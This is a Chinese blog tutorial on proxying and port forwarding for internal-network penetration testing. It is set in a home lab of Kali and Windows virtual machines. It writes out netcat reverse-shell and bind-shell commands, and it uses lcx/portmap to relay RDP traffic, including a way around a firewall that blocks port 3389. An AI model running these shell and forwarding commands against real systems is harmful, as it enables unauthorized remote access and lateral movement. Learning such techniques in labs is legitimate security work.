代理转发&端口转发

前言

      web看腻了,我们就看一下内网的内容吧,内网渗透中有一个很重要的点,就是代理转发,怎么一层一层从边界主机一步一步访问到更深层的内网,这是每个渗透人员必须掌握的事情。

准备

      这里我们使用四台虚拟机,笔者这里用的是kali,windows 7,windows server 2016,还有ubuntu。

这里用到三个办法,分别是nc,lcx,frp。

操作

      在此之前,我们首先要明白两个概念,正向代理与方向代理,这里我将以nc协助来将明白这两个概念。

nc

反向代理

       什么叫做反向代理呢,这里我用kali与win2016来讲解,我现在想把win2016的shell弹到kali上,现在我们面临两种选择,一是我们主动使用kali来访问win2016以此来吧win2016的shell获取,二是可以让我们的win2016主动访问我们的kali来获取win2016的shell(这里我们的kali为攻击者,win2016为受害者)。反向代理就是让win2016来访问kali来获取shell,就是上面我们提到的第二种方法。

这里我们用nc来演示。

输入以下命令

nc -lvvp 9999

这里我们现在kali上监听我们的9999端口

这条命令在做什么(逐项解释)

  • nc:netcat,常见的“网络瑞士军刀”小工具,可以读写网络连接的标准入/出。

  • -l:listen,让 netcat 在本机监听(等待对端来连)。

  • -v:verbose(详细模式),显示更多连接信息。命令里是 -vv,表示更高的冗长输出(比一个 -v 更详细)。

  • -p 9999:指定本地端口为 9999-p 表示 port)。

  • 9999:也可以直接作为端口参数(有的 netcat 版本不需要 -p),总之目标是 监听 TCP 端口 9999

然后转到我们的win2016

输入以下命令

nc.exe -e cmd kali的ip与端口

我这里kali的ip为192.168.43.74 监听端口为9999,所以我输入的命令为nc.exe -e cmd 192.168.43.74 9999

然后回车,观察我们的kali

发现win2016的shell成功上线。

正向代理

我们依然用kali来接受shell只不过变成了kali主动访问win2016,也就是在win2016上开启监听。

我们在win2016输入以下命令

nc.exe -l -p 6666 -e cmd.exe

代表我们在win2016上开启监听6666端口。

接下来我们用kali来主动访问我们的win2016从而拿到shell。我们在kali上输入以下命令

nc -nvv 192.168.43.179 6666//这里输入自己的winIP,和上述内容一样

结果我们成功获取到shell

这就是反向代理和正向代理。

lcx

这里我们涉及端口转发

端口转发

什么是端口转发呢,它其实包括远程端口转发和本地端口转发,两者区别仅仅是转发本机的两个端口,还是和其他主机的端口进行转发,原理其实是一样的,就是把一个端口的流量与服务转发到另一个端口,你用主机访问这两个端口所访问到的服务是相同的。接下来我将实操展示。

本地端口转发

我们把portmap(端口转发工具,没有的话可以私信问我要)

我们在kali中输入以下命令

./portmap -m 2 -p1 1111 -p2 2222

意思就是把我们本机的2222端口的流量转发到本机1111上。

然后输入netstat -antp可以看到我们的1111端口和2222端口已经开启监听。

远程端口转发

这时候我们的win2016也要派上用场了

我们确保我们的win2016开启RDP服务默认端口为3389,我们用远程桌面来测试一下我们的两个端口是否成功转发。

输入netstat -ano就可以看到我们开放的端口情况了。

然后我们在kali中输入以下命令

./portmap -m 1 -p1 666 -h2 192.168.43.179(这里输入自己win2016ip) -p2 3389

看见上图即为连接成功。

然后在kali中远程连接一下我们的win2016,我们以前连接win2016是不是得连接它的IP和3389端口,但是因为我们现在已经将win2016的3389的流量转发到kali的127.0.0.1的666端口,所以我们直接访问127.0.0.1:666就可以了,出现一下结果表明流量转发成功。

在举一个例子(反向连接)

我们在win2016输入以下命令

lcx.exe -slave 192.168.43.74 6666 192.168.43.179 3389

然后win2016就会一直循环发两条命令

然后你在kali中输入以下命令

./portmap -m 1 -p1 3333 -p2 6666

其实这就是个本地端口转发,当你输入这条命令后,发现win2016的那两条命令不再循环,说明成功。而且这个是反向连接。

我再举个正向连接的例子。

我们再win2016输入以下命令

lcx.exe -tran 81 127.0.0.1 3389

这个命令的意思是我们把win2016的3389服务转发到win2016的81端口上,然后我们用kali直接访问win2016的81端口就可以远程连接了。

这样在对方有防火墙不让我们访问3389,我们就可以绕过它的防火墙直接访问81端口进而访问3389的服务了

写在后面

原本准备代理链也在这篇文章讲来着,写不动了,就明天专门写一篇文章吧。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值